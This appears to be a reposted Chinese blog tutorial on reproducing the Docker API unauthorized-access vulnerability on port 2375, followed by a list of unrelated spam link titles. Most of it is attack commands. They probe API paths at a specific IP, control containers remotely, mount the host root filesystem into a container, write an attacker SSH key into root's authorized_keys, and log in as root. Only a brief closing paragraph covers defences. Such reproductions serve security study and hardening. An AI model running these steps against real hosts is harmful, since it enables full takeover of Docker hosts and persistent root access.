当前位置: 首页 > wzjs >正文

网站设计与建设论文凤凰网全国疫情实时动态

网站设计与建设论文,凤凰网全国疫情实时动态,服装库存管理软件,wordpress xsindDocker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。 什么是 Docker API ? Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,…

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问 

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

ssh root@39.105.123.35 -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。 

http://www.dtcms.com/wzjs/475821.html

相关文章:

  • 南昌网站外包网络营销成功的案例及其原因
  • 网站建设团队介绍我想开个网站平台怎么开呢
  • 网站建设报告实训步骤网络营销广告
  • 信息聚合网站怎么做高端网站建设
  • 服务器维护网站建设教程seo网络排名优化
  • 俄文网站策划百度做广告怎么做
  • 做淘宝推广怎样网站合适广东seo推广
  • 怎样做网站用html百度的总部在哪里
  • 如何用网站首页做404重庆seo整站优化设置
  • 男装网站模板演示环球网
  • 海城市建设局网站网络服务器
  • 手机回收站百度推广竞价托管
  • 故城县网站建设服务百度快速收录3元一条
  • 企业年金有什么用seo基础知识培训
  • php做的网站如何该样式全国人大常委会
  • 做二手房比较好的网站电商seo搜索引擎优化
  • 广州网站建设电话网站收录服务
  • 广州网站建设企业搜什么关键词你都懂的
  • 营销型网站搭建公司友情视频
  • 网站介绍经过下拉怎么做seo查询友情链接
  • asp.net企业网站源码买卖友情链接
  • 做网站新闻免费进入b站2022年更新
  • 三星网上商城app关键词优化价格
  • 本地建站教程销售网络平台推广
  • 哈尔滨网站开发网站推广广告
  • 摄图网的图片可以做网站吗长尾关键词挖掘精灵
  • 网站开发是否用html5北京网站快速排名优化
  • 广西房管局官网厦门网站seo外包
  • 购买了网站空间如何进入搜索引擎排名优化包括哪些方面
  • 国内最新新闻报道广东seo快速排名